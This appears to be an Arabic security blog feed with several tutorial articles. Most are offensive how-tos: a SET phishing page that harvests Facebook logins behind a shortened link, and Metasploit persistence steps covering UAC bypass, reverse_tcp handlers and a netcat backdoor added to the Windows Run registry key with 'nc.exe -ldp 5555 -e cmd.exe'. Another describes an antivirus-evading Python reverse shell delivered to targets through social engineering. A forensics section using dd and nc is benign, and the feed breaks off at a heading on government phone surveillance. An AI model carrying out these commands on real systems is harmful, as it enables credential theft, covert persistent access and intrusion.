image20من خلال هذه العملية قمنا بإعداد الراوتر ليقوم بتوجيه أي طلبات لعنوان IP الخارجي عبر المنفذ 80 إلى عنوان 172.16.2.100:IP الداخلي . سوف يطلب مننا إدخال عنوان الموقع المراد استخدامه في عملية الاختبار ثم سيطلب تشغيل سيرفر الاباتشي من أجل استضافة الصفحة المزورة

 

image21الصفحة المزورة أصبحت في المسار التالي /var/www/html

وهي باسم index.html الان يمكننا ان نقوم بتحويل عنوان IP الخارجي إلى رابط (لكي لا يثير شك الهدف) من خلال الموقع التالي: http://tinyurl.com

image22وعندما يقوم الهدف بفتح هذا الرابط سوف تظهر الصفحة التالية

 

image23
وعندما يقوم الهدف بفتح هذا الرابط سوف تظهر الصفحة التالية

وعندما يقوم بكتابة معلومات تسجيل الدخول والضغط على زر تسجيل الدخول سوف يتم إرسال هذه المعلومات إلى الملف النصي الموجود في المسار التالي

/var/www/html/havester.txt

وإعادة توجيهه إلى صفحة الفيس الأصلية

image24

عند استخدام أداة مثل SET فإنه من الضروي لمختبر الاختراق أن يمضي وقتاً لفهم تصرفات الهدف والطريقة التي يستخدمها في الوصول إلى الموقع، باستخدام جهاز الحاسب أو باستخدام جهاز الموبايل ليتم برمجة واجهة الصفحة المزورة بشكل متناسق مع جهاز الهدف.

 

مقال : تثبيت الاستغلال والمحافظة على الوصول Maintaining Access

$
0
0

ethical-hacking-9-638

أي عملية اختبار الاختراق تمر عبر المراحل التالية:

  1. الاستطلاع Reconnaissance
  2. البحث عن الثغرات Scanning
  3. الإستغلال Exploitation
  4. تثبيت الاستغلال والمحافظة على الوصول Maintain access
  5. مسح الآثار Covering Tracks

في هذا المقال سوف نتعرف على طرق تثبيت الاستغلال والمحافظة على الوصول والمعروفه بـ Maintaining access . يتم تثبيت الاستغلال الذي حصلنا عليه بعد النجاح بعملية اختبار الاختراق في حالة اردنا ان نعود في وقت اخر الى الهدف والاتصال به مره اخرى .العديد من الأشخاص يعتقدون أن عملية تثبيت الوصول تتم فقط من خلال خلق باب خلفي backdoor ولكن هذا ليس كل شيء من أجل خلق shell مخفية.

عملية تثبيت الاستغلال والمحافظة على الوصول يمكن أن تتم من خلال عدة أمور:

    • خلق مستخدم جديد
    • تفعيل بعض الخدمات مثل  FTP
    • ضبط أو تغير الصلاحيات
    • خلق باب خلفي backdoor

Meterpreter يحوي على payloads تقوم بخلق مستخدمين جدد والعديد من هذه الأمور السابقة يمكن أن تتم بشكل يدوي. لنمضي قليلاً من الوقت للتعرف على أنواع الأبواب الخلفية الموجودة في Metasploit , ومن اهم ما يوجد في Metasploit  ثلاث سكريبتات لتثبيت عملية الوصول:

  • Persistence
  • S4u Persistence
  • VSS Persistence

persistence module


أحد أشهر Meterpreter scripts المستخدمة في عملية تثبيت الوصول بعد عملية الاستغلال هو persistence module . سوف نقوم في جلسة Meterpreter فعالة  بتشغيل persistence مع خيارات التحكم التي نريدها. هذا السكريبت سوف يقوم بتنصيب ملف يقوم بمحاولة الاتصال مع جهاز مختبر الاختراق بعد فترة زمنية يتم تحديها مسبقاً. يجب تشغيل persistence من حساب له أعلى مستوى صلاحيات عالية . للقيام بهذه العملية نبدأ مع جلسة Meterpreter فعالة مع نظام ويندوز لها صلاحيات المدير administrator account ثم القيام بتجاوز UAC – User Account Control ورفع الصلاحيات الى Administrator  , في نظام الويندوز Administrator  له مستوى صلاحيات عالي ولكن يوجد بعض الأمور لا يمكنه القيام بها. حساب الروت root في نظام اللينكس يملك أعلى مستوى صلاحيات والمكافىء له في نظام الويندوز هو “system” .حتى ولو حصلنا على جلسة بعيدة بمستوى صلاحيات administrator فإن UAC سوف تمنعنا من القيام ببعض الأمور مثل الحصول على الهاش الخاص بكلمة السر ولكن لا تقلق  في Meterpreter يوجد UAC bypass module والتي تسمح لنا بتجاوز القيود التي يفرضها UAC والحصول على مستوى صلاحيات system level , يمكن الحصول على أعلى مستوى صلاحيات من خلال استخدام “bypassuac” module ثم كتابة التعليمة التالية :

getsystem

سنقوم بجعل جلسة Meterpreter تعمل بالخلفية باستخدام التعليمة:

background

الان سوف نقوم بكتابة التعليمات التالية:

use exploit/windows/local/bypassuac_injection

set session 1

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.39

set lport 4545

exploit

image1

ملاحظة : يجب استخدم منفذ مختلف عن المنفذ الذي استخدمته في الشيل الأصلية

الان  سنقوم باستخدام التعليمة التالية من أجل الانتقال لمستوى صلاحيات أعلى:

getsystem

image2

الآن أصبح بإمكاننا تشغيل Persistence

التعليمة التالية تستخدم لمعرفة الخيارات المتاحة:

run persistence -h

image3

سوف نستخدم:

(-X): من أجل أن يبدأ العمل بشكل اتوماتيكي عند إقلاع النظام

(i 10-): محاولة الاتصال كل 10 ثواني

(-p 443): المنفذ المستخدم في عملية الاتصال

(r 192.168.1.39-) عنوان IP لنظام الكالي الخاص بنا

run persistence -X -i 10 -p 443 -r 192.168.1.39

image4يمكننا رؤية أماكن تواجد الملفات التي سوف تًخزن في نظام الويندوز أيضا يمكننا  الخروج من Metasploit بشكل كامل (قطع الاتصال مع الهدف) والعودة مرة ثانية وفتح Metasploit مرة جديدة وإعداد handler لاستقبال الاتصال من  ويتم ذلك بكتابة التعليمة msf من أجل فتح Metasploit وكتابة التعليمات التالية:

 

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.1.39

set LPORT 443

exploit

image5يمكننا الوصول إلى النظام الهدف بأي وقت نريد من خلال إعداد handler ليقوم باستقبال الاتصال ولكن يجب أن تنتبه عند استخدام البراميتر ” -i “ لتحديد الفترة الزمنية بين كل محاولة اتصال، إذا كانت هذه القيمة قليلة فهذا يمكن أن يزيد من احتمال اكتشاف محاولة الاتصال إذا تم مراقبة حركة البيانات من قبل مدير الشبكة .

إزالة Persistence:


يمكننا رؤية هذا السكريبت يعمل في نظام ويندوز من خلال كتابة “msconfig” في windows prompt

image6سوف تظهر النافذة التاليه

image7

يمكننا وبشكل يدوي إزالة هذا الملف ومنع هذه التعليمة أو يمكننا تنفيذ الامر :

uninstall persistence script

image8

والنتيجة كالتالي:

image9

 

S4u_persistence – Scheduled Persistence:


image10

S4u_Persistence هو باب خلفي يعمل كمهمة مجدولة scheduled task والذي يمكن أن يضاف إلى عمليات أو أحداث النظام مثل login, logoff or workstation lock

الخيارات المتاحة:

image11

سنقوم باستخدام هذا الباب الخلفي backdoor والذي سوف يعمل عندما يقوم المستخدم بقفل جهازه workstation lock

من خلال استخدام التعليمات التالية في جلسة فعالة

image12

عند الخروج من Metasploit ومن ثم فتحه مرة ثانية يجب أن نقوم بإعداد handler لإستقبال الاتصال العكسي في جهاز الهدف الذي يعمل بنظام الويندوز سنقوم بقفل الجهاز من خلال الضغط على زر الويندوز + L

image13

عملية قفل الجهاز سوف تقوم بتشغيل الاتصال العكسي وسوف نحصل على remote shell , كما ترى فإن هذا النوع من الهجوم قوي جداً ويمكن أن يتم ربطه بأي عملية نظام (مثل تسجيل الدخول أو تسجيل الخروج)

Vss_Persistence:


VSS_Persistence  يقوم بخلق باب خلفي دائم وهذا الاستغلال يحتاج إلى حساب له أعلى مستوى صلاحيات

image14

طريقة الاستغلال سهلة جدا عن طريق تنفذ التعليمات التالية :

image15

 

Netcat Backdoor:


الكالي يحوي على ملفات تنفيذية خاصة بنظام الويندوز والتي يمكننا استخدامها في عمليات اختبار الاختراق وهي موجودة في المسار التالي:

“/usr/shar/windows-binaries”

image16

يمكننا استخدام windows Netcat (nc.exe) كباب خلفي backdoor من خلال رفعه إلى نظام الويندوز وجعله يعمل بشكل اتوماتيكي.

للقيام بهذا العمل نحتاج لجسلة فعالة مع النظام الهدف لها أعلى مستوى صلاحيات

image17

عملية رفع هذا الملف تتم من خلال التعليمة التالية:

upload /usr/share/windows-binaries/nc.exe c:/windows/system32/

image18

إضافة الملف إلى registry تتم من خلال التعليمة:

reg setval -k HKLM\software\microsoft\windows\currentversion\run -v netcat -d “c:\windows\system32\nc.exe -ldp 5555 -e cmd.exe”

يمكننا التأكد من أن هذه العملية تمت بنجاح من خلال التعليمة:

reg queryval -k HKLM\software\microsoft\windows\currentversion\run –v netcat

image19

 

كما يمكننا تشغيل “msconfig” في نظام الويندوز للتأكد من هذه العملية

image20

الآن نحتاج فقط لإعادة تشغيل الجهاز الهدف الذي يعمل بنظام الويندوز ومن ثم تتم عملية الاتصال باستخدام netcat باستخدام التعليمة التالية في نظام الكالي:

nc -nv <Target IP Address> <port>

image21

كما يمكننا الاتصال ببرنامج Netcat باستخدام handler in Metasploit

ملاحظة : (يجب أن تقوم بإعداة تشغيل الويندوز ليتم إعادة تشغيل netcat)

back

use exploit/multi/handler

set payload windows/shell_bind_tcp

set RHOST <Target IP Address>

set LPORT <Port>

exploit

image22

مقال : نظرة على التحليل الجنائي الرقمي Digital Forensics

$
0
0

التحليل الجنائي الرقمي Digital Forensics هو دمج بين العلوم  الجنائية  التقليديه وعلوم الحاسب والشبكات بهدف استخراج الأدلة الرقمية “digital evidences” من أجهزة الحاسب وأجهزة الشبكة والأجهزة والوسائط الرقمية، الأدلة الرقمية يمكن أن تكون البيانات الرقمية المخزنة في الأجهزة الحاسوبية أو المنظومات الرقمية أو المنقولة بواسطتها والتي يمكن استخدامها في إثبات أو نفي جريمة قد تكون رقمية او غير رقمية . الهدف الرئيسي من التحليل الجنائي الرقمي هو التصدي للجرائم الرقمية وهي الجرائم التي ترتكب باستخدام الأجهزة الحاسوبية  أو تلك التي تقع على المنظومات او  الشبكات الرقمية. التحليل الجنائي الرقمي هو استخدام لتقنيات التكنلوجيا في عمليات التحقيق الجنائي للقضايا المخالفة للقانون، وتتضمن فحص الجهاز أو المنظومة الهدف وتحليل العمليات واسترجاع البيانات والملفات من أجل الحصول على دليل رقمي digital evidence يستخدم في التحقيقات القانونية .

وهذا العلم يحوي عدداً من التخصصات الفرعية ومنها:

  • التحليل الجنائي الرقمي لأجهزة الحاسب
  • التحليل الجنائي الرقمي لقواعد البيانات
  • التحليل الجنائي الرقمي للشبكة
  • التحليل الجنائي الرقمي للويب
  • التحليل الجنائي الرقمي لأجهزة الموبايل

عملية التحليل الجنائي الرقمي يجب أن تتم وفق معايير واجراءات قانونية معتمدة من قبل المحكمة وأهم هذه الإجراءات هو المحافظة على الأدلة الرقمية التي تم اكتشافها بدون أي تعديل أو تخريب , كذلك توثيق كامل العمليات من لحظة الوصول لمكان الجريمة و العمليات التي تمت في مخبر التحليل الجنائي الرقمي لحين وصول الدليل الرقمي إلى المحكمة.

التحليل الجنائي الرقمي يمكن تطبيقه على أي جهاز يقوم بإرسال أو استقبال أو تخزين البيانات مثل أجهزة الموبايل وأجهزة الشبكة (router – switch) وأجهزة الحاسب والأجهزة اللوحية tablets .التحليل الجنائي الرقمي وبشكل مماثل للتحليل الجنائي العادي (تحليل DNA وفحص الطلقات النارية) الهدف منه هو الحصول على دليل يمكن أن يستخدم في المحكمة.

الدليل الرقمي:


الدليل الرقمي المعتمد من قبل المحكمة يمكن أن يكون أحد الأمور التالية:

  • الأقراص الصلبة
  • سجلات النظام system logs
  • وسائط التخزين الخارجية (USB)
  • سجلات الراوتر router logs
  • رسائل البريد الالكتروني
  • سجلات المحادثات
  • أجهزة الهاتف
  • شريحة الهاتف SIM card
  • سجلات أجهزة الحماية (الجدار الناري firewall أو أجهزة كشف الاختراق IDS)
  • سجلات قواعد البيانات

الدليل الرقمي يختلف بحسب الجريمة المعلوماتية مثلاً في حالات الابتزاز عبر الانترنت يمكن اعتماد رسائل البريد الالكتروني وسجلات المحادثه على أنها دليل رقمي وفي حالة اختراق منظومة معلوماتية يمكن اعتماد سجلات النظام وسجلات أجهزة الحماية.

التعامل مع الدليل الرقمي:


أول مهمة يجب على المحقق الرقمي القيام بها إنشاء صورة طبق الأصل للقرص الصلب bit stream image ومن ثم القيام بعمليات التحقيق الجنائي الرقمي على الصورة المأخوذة وليس على الجهاز الأصلي.

يمكن إنشاء صورة مطابقة للنظام الهدف باستخدام أدوات مثل: “Forensic Toolkit or EnCase” , كما يمكن القيام بهذه العملية باستخدام أدوات مجانية تعمل على نظام التشغيل كالي لينكس.

الأداة disk to disk) dd):


هي أداة تعمل من خلال سطر الأوامر وموجودة بشكل تلقائي في الكالي لينكس وتستخدم لنقل ونسخ الملفات بين الأقراص ويمكن من خلالها إنشاء صورة طبق الأصل للقرص الصلب في الجهاز الهدف باستخدام التعليمة التالية:

dd if=<source> of=<destination> bs=<byte size>

مثال :

dd if=/dev/sda2 of=/dev/sdb2 bs=512

هذه التعليمة سوف تقوم بخلق نسخة طبق الأصل bit-by-bit copy من القرص sda2 إلى القرص sdb2

كما يمكن القيام بهذه العملية عبر الشبكة، كما في المثال التالي:

البداية باستخدام التعليمة التالية على جهاز المحقق

nc -1 -p 8888 > evidence.dd

 

هذه التعليمة تجعل الجهاز ينصت على المنفذ 8888 ويقوم بحفظ الملفات التي يتم استقبالها في الملف evidence.dd

ومن ثم استخدام التعليمة التالية في الجهاز الهدف من أجل إرسال بيانات الصورة طبق الأصل للقرص الصلب عبر الشبكة إلى جهاز المحقق

dd if=/dev/hda1 | nc 192.168.0.2 8888 -w 3

في المثال السابق نفترض أن القرص المراد نسخه له الاسم hda1 وعنوان IP الخاص بجهاز المحقق هو 192.168.0.2 يجب أن تقوم باستبدال هذه القيم بحسب الحالة التي تعمل عليها.

بعد الانتهاء من أخذ الصورة المطابقة يجب أن نقوم بحساب قيمة الهاش hash (خوارزمية تشفير) لكل من القرص الصلب الأصلي وللصورة طبق الأصل لنتأكد من أن العملية تمت بشكل صحيح وحفظ هذه القيمة ليتم حفظ الصورة كدليل رقمي يمكن اعتماده من قبل المحكمة. كل أدوات التحليل الجنائي الرقمي تقوم بهذه العملية بشكل اتوماتيكي، كما يمكن القيام بها بشكل يدوي باستخدام التعليمة التالية في نظام كالي لينكس:

md5sum /dev/hda1

AccessData Forensic Toolkit:


هذه الأداة تسمح لنا بإنشاء صورة طبق الأصل للقرص الصل, بعد تحميل هذه الأداة وتنصيبها على الجهاز الهدف يمكننا خلق صورة مطابقة للقرص الصلب كما في الشكل التالي:

1

ومن ثم يمكننا تحدد نوع الدليل و المكان المراد حفظ الصورة فيه

2

3

وبعد انتهاء هذه العملية سوف نحصل على صورة طبق الأصل للقرص المطلوب ويجب حساب قيمة الهاش hash لكل من الصورة والقرص الأصلي ومقارنة القيم للتأكد من أن هذه العملية تمت بشكل صحيح وهذه الاداة يمكنها حساب الهاش المطلوب.

EnCase:


هذه الأداة تمكننا من إنشاء صورة طبق الأصل للقرص أو الجهاز الهدف, في هذه الاداة كل جزء من الدليل الرقمي هو جزء من ملف القضية case file , أول خطوة هي خلق قضية جديدة أو اختيار قضية سابقة للعمل عليها

4

ومن ثم يمكننا إضافة الدليل الرقمي لهذه القضية

5

نسخ الملفات غير مفيد في عملية التحليل الجنائي الرقمي لأنه في عملية النسخ لن نحصل على الملفات المخفية والملفات المحذوفة أما في عملية أخذ صورة مطابقة للنظام الهدف bit by bit فسوف نحصل على كل الملفات.

جهاز الحماية ضد الكتابة:


أحد أهم الامور التي يجب مراعاتها اثناء عملية التحقيق وهي  حماية الدليل الرقمي عن طريق استخدام جهاز منع الكتابة write blocker على القرص الصلب. يجب منع الكتابة على القرص الصلب بشكل فوري وذلك قبل البدء بإنشاء الصورة طبق الأصل.

6

7

العديد من أنظمة التشغيل تقوم بالكتابة على القرص الصلب بشكل دوري لذلك يجب استخدام جهاز لمنع الكتابة على القرص الصلب.

يوجد عدة أنواع من أجهزة منع الكتابة وهي تختلف بحسب نوع الوصلة ويمكن أن تكون SATA to SATA أو USB to SATA

الجدول التالي يحوي على أسماء وأنواع أجهزة منع الكتابة الأكثر استخداماً:

8

بعض الأمور المهمة التي يجب أن نهتم بها لحماية الدليل الرقمي هي منع الحقول الكهربائية الساكنة لأنها يمكن أن تخرب الدليل الرقمي ويتم ذلك باستخدام حقيبة خاصة مصممة خصيصاً لمنع الحقول الكهربائية الساكنة والتي تستخدم من أجل حفظ الأدلة الرقمية. مخبر التحليل الجنائي الرقمي يجب أن يكون معزول ولا يسمح بأي عملية اتصال مع الوسط الخارجي ويتم ذلك باستخدام شبكة من القضبان المعدنية التي تمنع الحقول الكهرومغناطيسية (قفص فراداي) وذلك لمنع الأجهزة من إرسال أو استقبال البيانات من عن بعد عبر الشبكة اللاسلكية أو شبكة الموبايل وايضا .

عند العمل مع أجهزة الموبايل فمن الضروري عزل الجهاز عن الشبكة، من الممكن حذف البيانات من عن بعد (بعض أجهزة الموبايل تؤمن ميزة حذف البيانات من عن بعد في حال فقدان أو سرقة الموبايل) ومن الممكن أيضاً الاتصال بالجهاز عبر الشبكة اللاسلكية أو عبر شبكة الموبايل والتعديل على البيانات وممكن أن يكون الجهاز مصاب ببرمجية خبيثة تقوم بإرسال المعلومات إلى طرف خارجي عبر الشبكة لذلك من الضروري عزل الجهاز عن الشبكة.

خطوات عملية التحليل الجنائي الرقمي:


  • التخطيط لعملية التحقيق.
  • تحديد العمليات الحالية.
  • تحديد اتصالات الشبكة الحالية.
  • جمع الأدلة الرقمية.
  • التحقق من الدليل الرقمي.
  • إعداد التقرير.

التخطيط لعملية التحقيق:


وضع خطة للقيام بعملية التحقيق الجنائي الرقمي وإعداد التقرير ومستندات التوثيق هي أمور مهمة في عملية التحقيق الجنائي الرقمي. من المهم إعداد التقرير وتوثيق النتائج بشكل دقيق لنحصل على دليل رقمي يتم اعتماده من قبل المحكمة بشكل رسمي. وضع خطة لمراحل وخطوات عملية التحقيق الرقمي هو أمر مهم وهذه الخطة يجب أن تشمل كيفية جمع الأدلة الرقمية وكيفية نقلها والحفاظ عليها ومن ثم كيفية تحليلها.

تحديد العمليات الحالية:


في نظام الويندوز فإن الضغط على CTRL, ALT and DELETE ومن ثم اختيار مدير المهام Task Manager سوف يظهر العمليات الحالية التي تعمل على النظام، كما في الشكل التالي:

9

يجب أن نقوم بأخذ لقطة للشاشة وحفظ الصورة التي تحوي على هذه النافذة لتوثيق كل العمليات التي تعمل حالياً وفي بعض الحالات يمكن أن تظهر عمليات خاصة ببرمجية خبيثة تعمل حالياً.

حالة الاتصالات بالشبكة:


يمكن معرفة كل الاتصالات الحالية بالشبكة من خلال التعليمة netstat كما يظهر في الشكل التالي:

10

هذه التعليمة تعمل في كل من نظام الويندوز ونظام لينكس وهي موجودة بشكل تلقائي في كل نظام تشغيل.

يوجد بعض الإضافات لهذه التعليمة والتي تساعد على كشف أو تحديد معلومات محددة وهي:

netstat -a: تعرض كل اتصالات البرتوكول TCP الفعالة مع رقم البورت لكل اتصال

netstat -p: تعرض الاتصالات الخاصة ببرتوكول محدد مثل TCP or ICMP

netstat -o: تعرض رقم العملية لكل اتصال process ID

netstat -r: تعرض جدول التوجيه routing table

يمكننا استخدام هذه الأوامر بشكل مشترك كما في التعليمة التالية:

netstat -a -o

net session :


تعمل بشكل مشابه ل netstat ولكنها تقدم معلومات مفيدة بشكل أكثر.

netstata تقوم بعرض معلومات عن اتصالات غير مفيدة ولكن net session تقوم فقط بعرض الاتصالات التي تؤسس لجلسة عبر الشبكة , هذه التعليمة تحتاج لصلاحيات المدير لتعمل run as administrator

openfiles:


هذه التعليمة تقوم بعرض الملفات المسموح الوصول إليها عبر المشاركة وهي تحتاج لصلاحيات المدير لتعمل , وهي مفيدة في كشف إذا قام شخص خارجي بالوصول إلى ملفات في الجهاز المصاب عبر الشبكة.

12

يجب تنفيذ هذه التعليمات على الجهاز وأخذ صورة للشاشة screen shot لنتيجة التنفيذ وهذا يسمح لنا بتحديد حالة الجهاز ومن ثم يمكننا إيقاف تشغيل الجهاز ونقله إلى مخبر التحليل الجنائي الرقمي.

جمع الأدلة الرقمية:


أول سؤال يجب أن يتم الإجابة عنه هو كيف يمكننا الحصول على الدليل الرقمي؟؟

يوجد أنواع مختلفة من الأدلة الرقمية بحسب طبيعة الجريمة المرتكبة. إذا كان الدليل الرقمي موجود في جهاز حاسب أو في جهاز موبايل يجب ان نقوم بنقل هذا الجهاز إلى مخبر التحليل الجنائي الرقمي ويجب التأكد من منع الاتصال بهذا الجهاز أثناء عملية النقل (نقل الجهاز يتم من خلال حقيبة أو صندوق خاص يمنع أي اتصالات عبر الإشارات اللاسلكية)  , وفي حال كان الدليل الرقمي في جهاز سيرفر يحوي على عدد من المواقع فمن الصعب قطع اتصال هذا الجهاز عن الشبكة أو حتى نقله لذلك وفي مثل هذه الحالة إذا كان يوجد سيرفر احتياطي backup فنقوم بوصله على الشبكة لحين إنشاء صورة طبق الأصل للسيرفر المصاب وإذا لم يكن يوجد نسخة احتياطية نقوم بإيقاف اتصال السيرفر عن الشبكة بشكل مؤقت للقيام بإنشاء صورة طبق الأصل ومن ثم إعادته للعمل.

في بعض الحالات من الصعب الوصول لمكان تواجد الجهاز المصاب لأسباب معينة ويجب أن نقوم بجمع الأدلة الرقمية من عن بعد ويمكننا استخراج الدليل الرقمي من عند بعد وذلك من خلال إنشاء صورة طبق الأصل للجهاز المصاب عبر الشبكة.

التحقق من الدليل الرقمي:


من المهم دائماً التحقق من الأدلة التي تم إيجادها لتجاوز احتمال وجود خطأ في الدليل الرقمي ويتم ذلك بإعادة خطوات التحليل وجمع الأدلة بأكثر من أداة مختلفة ومقارنة النتائج التي نحصل عليها.

إعداد التقرير:


التقرير النهائي يجب أن يحوي على كل شيء متعلق بالقضية وكل الملفات التي تم اكتشافها وتحليلها ويجب أن نذكر بالتقرير طريقة اكتشاف الدليل الرقمي والأدوات التي استخدمت في هذه العملية وتحديد معلومات الجهاز الهدف.

التقرير يجب أن يكون مقسم إلى الأقسام التالية:

  • ملخص القضية
  • طرق الفحص والتحليل
  • النتائج

التحليل الجنائي الرقمي علم واسع وهو في حالة تطور مستمر ولا يمكن الإحاطة بكل تفاصيله بمقال واحد، علماً بأن هذا المقال يحتوي على أساسيات التحليل الجنائي الرقمي وهو الجزء الأول من سلسلة مقالات سيتم نشرها مستقبلاً وذلك بهدف اثراء المحتوى العربي بهذا العلم المتقدم.


مقال : برمجة Reverse TCP Shell بلغة البرمجة python

$
0
0

مختبري الإختراق  يجب أن يكونوا مبرمجين محترفين قادرين على اكتشاف الثغرات وكتابة برامج لاستغلال  الثغرات ، لكي تصل لهذه المرحلة وتتجاوز مرحلة استخدام أدوات الاختراق الجاهزة  يجب أن تكون مبرمج محترف قادر على كتابة برامج الاستغلال الخاصة بك.

تعرفنا في مقال سابق على طرق استطلاع الهدف وجمع المعلومات عنه وقمنا بكتابة برامج بلغة البرمجة بايثون (لغة الهاكرز المفضلة) للقيام بهذه العملية بشكل اتوماتيكيفي هذا المقال سوف نتعرف على الشيل العكسية Reverse Shell وسوف نقوم بكتابة برنامج بسيط بلغة البايثون يسمح لنا بالحصول على شيل عكسية وفتح جلسة CMD مع الجهاز الهدف.

ماهي الشيل العكسية:


reverse shell

 

في الصوره السابقة يظهر جهاز مختبر الاختراق (تحت القبعة السوداء) وبالمقابل تظهر شبكة و جهاز الهدف الذي لا يحتوي  على ثغرات ومحمي باستخدام جدار ناري firewall ومن الصعب الحصول على اتصال مباشر بين جهاز مختبر الاختراق وجهاز الهدف لأن الجدار الناري سوف يمنع أي محاولات اتصال قادمة من طرف خارجي، للتغلب على هذه المشكلة يمكن لمختبر الاختراق أن يقوم بخداع المستخدم الهدف باستخدام احدى طرق الهندسة الاجتماعية ليقوم بفتح ملف معين يجعل جهازه يتصل وبشكل عكسي مع جهاز مختبر الاختراق وفي نفس الوقت يجب على مختبر الاختراق أن يعًد جهازه لاستقبال الاتصال العكسي. الشيل في مثالنا هذا سوف يكون  عبارة عن سطر أوامر الويندوز  cmd.exe.

يمكننا الحصول على payloads تقوم بفتح جلسة اتصال عكسي باستخدام msfvenom ولكن هذا ال payloads قد أصبحت مكتشفة من قبل معظم مضادات الفيروسات، يوجد العديد من الأدوات التي يمكن أن تساعد مختبر الاختراق على تجاوز مضاد الفيروسات ولكن هذه الأدوات مع مرور الوقت قد تصبح أيضاً مكتشفة من قبل العديد من مضادات الفيروسات. لذلك أفضل طريقة لتجاوز الحماية المطبقة من قبل مضادات الفيروسات هي أن يقوم مختبر الاختراق بكتابة payload الخاص به وعندها لن يستطيع أي مضاد فيروسات اكتشافه.

سوف نقوم بكتابة payload بلغة البايثون يقوم بفتح اتصال عكسي reverse tcp shell وفي المقابل سوف نقوم بكتابة برنامج بسيط يقوم بإعداد جهازنا (نظام كالي) لاستقبال الاتصال العكسي وفتح شيل عكسية وكتابة وتنفيذ تعليمات على الجهاز الهدف.

بيئة الاختبار:


  • جهاز مختبر الاختراق (kali Linux)

  • جهاز الهدف (Windows 7)

الكود من جهة مختبر الاختراق  Server- TCP Reverse Shell والذي سوف يقوم بالتنصت والانتظار حتى يتم الاتصال به   :

2

في البداية قمنا باستيراد socket module ثم قمنا بتعريف التابع connect() والذي يقوم بخلق socket جديدة تعمل على عنوان IP الخاص بنظام الكالي ورقم المنفذ المحدد مسبقاً (يجب أن نستخدم نفس المنفذ في الكود الخاص ببرنامج الهدف)   , هذا التابع يقوم بالإنصات على عنوان IP ورقم المنفذ المحدد للقيام باستقبال الاتصال العكسي من الجهاز الهدف وفي حال نجاح الاتصال يقوم بطباعة رسالة تؤكد نجاح العملية.

وفي جسم التابع قمنا أيضاً بتعريف حلقة while وفي جسم هذه الحلقة قمنا بتعريف متغير له الاسم command يحوي على التعليمات التي سوف نقوم بإدخالها , في حال قمنا بكتابة التعليمة terminate فسوف يتم انهاء الجلسة وقطع الاتصال مع الجهاز الهدف وإلا فسوف يتم إرسال نص التعليمة التي نقوم بكتابتها وطباعة نتيجة تنفيذ هذه التعليمة على الشاشة. وفي نهاية الكود البرمجي قمنا بتعريف التابع الرئيسي main() وفي داخله قمنا باستدعاء التابع connect()

الكود من جهة  الهدف : Client – TCP Reverse Shell


 

في البداية قمنا باستيراد socket وقمنا باستيراد subprocess من أجل التعامل مع عمليات الإدخال والاخراج في النظام الهدف, ثم قمنا بتعريف التابع connect() والذي يقوم بخلق socket جديدة تعمل على العنوان IP الخاص بجهاز مختبر الاختراق (عملية الاتصال العكسي) ونفس رقم المنفذ المستخدم في جهاز مختبر الاختراق وفي جسم هذا التابع قمنا بتعريف حلقة while لضمان استمرار استقبال التعليمات من جهاز مختبر الاختراق. التعليمة terminate تستخدم من أجل انهاء الجلسة وقطع الاتصال والا فسوف نقوم بفتح سطر CMD في الجهاز الهدف والسماح له باستقبال وتنفيذ التعليمات التي يتم إرسالها من قبل مختبر الاختراق

  • s.send( CMD.stdout.read() ): لإرسال نتيجة تنفيذ التعليمة إلى جهاز مختبر الاختراق.

  • s.send( CMD.stderr.read() ): لإرسال رسالة خطأ في حال تم كتابة تعليمة خاطئة.

وفي نهاية البرنامج قمنا بتعريف التابع الرئيسي main() وقمنا في داخله باستدعاء التابع connect()

عند تشغيل البرنامج في جهاز مختبر الاختراق سوف نحصل على الرسالة التالية:

4

البرنامج ينصت على البورت المحدد لاستقبال الاتصال العكسي.

يجب أن نقوم بإرسال البرنامج الثاني إلى الهدف وإقناعه بفتحه باستخدام الهندسة الاجتماعية ولكن هذا البرنامج هو كود بايثون ماذا لو كان جهاز الهدف لا يحوي على برنامج بايثون. يمكننا ببساطة تحويل هذا البرنامج إلى برنامج تنفيذي له الامتداد exe باستخدام py2exe ومن ثم إرساله إلى الهدف.

Py2exe:


هذه الأداة تسمح لنا بتحويل برامج مكتوبة بلغة البايثون ولها الامتداد py إلى برامج تنفيذية لها الامتداد exe . بعد أن تقوم بتحميل نسخة py2exe المتوافقة مع نظامك وتنصيبها يجب أن تقوم بخلق مجلد جديد يحوي على الملفات التالية:

5

  • Client.py: البرنامج المراد تحويله لبرنامج تنفيذي

  • py2exe.exe

  • setup.py: برنامج صغير يجب أن تقوم أنت بكتابته

بعد تشغيل البرنامج setup.py سوف نحصل على مجلدين كما يظهر في الشكل التالي:

البرنامج التنفيذي سيكون في المجلد dist

الآن يمكنك تغير اسم هذا الملف وإرساله للهدف وعندما يقوم الهدف بفتحه سوف نحصل على شيل عكسية تسمح لنا بتنفيذ تعليمات على الجهاز الهدف

التعليمة التالية تستخدم لعرض الملفات الموجودة في المسار الحالي في جهاز الهدف:

10

في حال كتابة تعليمة خاطئة سوف تظهر رسالة خطأ مع المحافظة على جلسة الاتصال العكسي مع الجهاز الهدف:

11

من أجل انهاء الجلسة وقطع الاتصال يمكننا استخدام التعليمة terminate .

في المقالات القادمة إن شاء الله سوف نقوم بكتابة برنامج بلغة البايثون يسمح لنا بالحصول على جلسة اتصال عكسي reverse http shell وسوف نقوم بتطور هذه البرامج لتسمح لنا بتحميل ورفع الملفات من وإلى الجهاز الهدف وسوف نقوم بكتابة برامج بلغة البايثون لتثبيت الاستغلال وتجاوز الصلاحيات.

مقال : كيف تقوم الحكومات بالتجسس على اجهزة الموبايل

$
0
0

في العديد من الحالات الجنائية تحتاج الحكومات لعمل مُراقبة لهواتف المُشتبه بهم بعد أخذ الموافقة القضائية بذلك , وفي حالات أخرى يحتاجون لمراقبة أشخاص بعينهم لشبهات جنائية مُختلفة كذلك ، فتقوم هذه الحكومات بإستخدام تقنيات وأساليب مُختلفة لمُراقبة هواتف هؤلاء الأشخاص ، وفي مقال اليوم سوف نذكُر بعض التقنيات والأمور الرئيسية المُستخدمة لهذه الأغراض.

Mobile-Spy-3

تقنية StingRay:


